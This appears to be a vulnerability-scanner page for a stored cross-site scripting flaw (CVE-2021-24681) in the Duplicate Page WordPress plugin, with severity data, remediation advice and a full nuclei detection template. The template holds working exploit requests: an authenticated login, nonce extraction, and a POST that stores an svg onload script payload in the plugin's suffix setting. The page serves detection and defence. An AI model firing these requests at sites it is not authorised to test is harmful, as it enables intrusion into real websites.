Duplicate Page WordPress - Stored Cross-Site Scripting

mediumseverity

4.8CVSS score

0.9%likelihood of exploitation, next 30 days

60%of all CVEs are less likely

Readycheck to confirm it

Duplicate Page WordPress plugin <= 4.4.2 contains a stored cross-site scripting caused by unsanitized Duplicate Post Suffix settings in output, letting high privilege users execute malicious scripts, exploit requires high privilege user role.

Impact

Attackers can execute malicious scripts in the context of the site, potentially leading to session hijacking or defacement.

Fix

Update to the latest version of the plugin where the issue is fixed.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/options-general.php?page=duplicate_page_settings ; POST /wp-admin/options-general.php?page=duplicate_page_settings
Positive when: status_code == 200 and contains(body, "Saving Please wait...")
Send: GET /wp-admin/options-general.php?page=duplicate_page_settings&msg=1
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "duplicate_post_suffix", "\"><svg/onload=alert(document.domain)>")

Run it with nuclei: nuclei -id CVE-2021-24681 -u <target>

The full check

id: CVE-2021-24681

info:
  name: Duplicate Page WordPress - Stored Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Duplicate Page WordPress plugin <= 4.4.2 contains a stored cross-site scripting caused by unsanitized Duplicate Post Suffix settings in output, letting high privilege users execute malicious scripts, exploit requires high privilege user role.
  impact: |
    Attackers can execute malicious scripts in the context of the site, potentially leading to session hijacking or defacement.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/9ebdd1df-1d6f-4399-8b0f-77a79f841464
    - https://wordpress.org/plugins/duplicate-page
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24681
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2021-24681
    cwe-id: CWE-79
    epss-score: 0.00893
    epss-percentile: 0.59775
    cpe: cpe:2.3:a:duplicatepro:duplicate_page:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: duplicatepro
    product: duplicate_page
    framework: wordpress
    publicwww-url: "/wp-content/plugins/duplicate-page"
  tags: wpscan,cve,cve2021,wordpress,wp,wp-plugin,duplicate-page,xss,vuln
flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/options-general.php?page=duplicate_page_settings HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/options-general.php?page=duplicate_page_settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        duplicatepage_nonce_field={{wp_nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dduplicate_page_settings&duplicate_post_status=draft&duplicate_post_redirect=to_list&duplicate_post_suffix="><svg/onload=alert(document.domain)>&submit_duplicate_page=Save+Changes

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Saving Please wait...")'
        condition: and
        internal: true

    extractors:
      - type: regex
        group: 1
        name: wp_nonce
        regex:
          - "id=\"duplicatepage_nonce_field\" name=\"duplicatepage_nonce_field\" value=\"(.*?)\""
        internal: true

  - raw:
      - |
        GET /wp-admin/options-general.php?page=duplicate_page_settings&msg=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "duplicate_post_suffix", "\"><svg/onload=alert(document.domain)>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from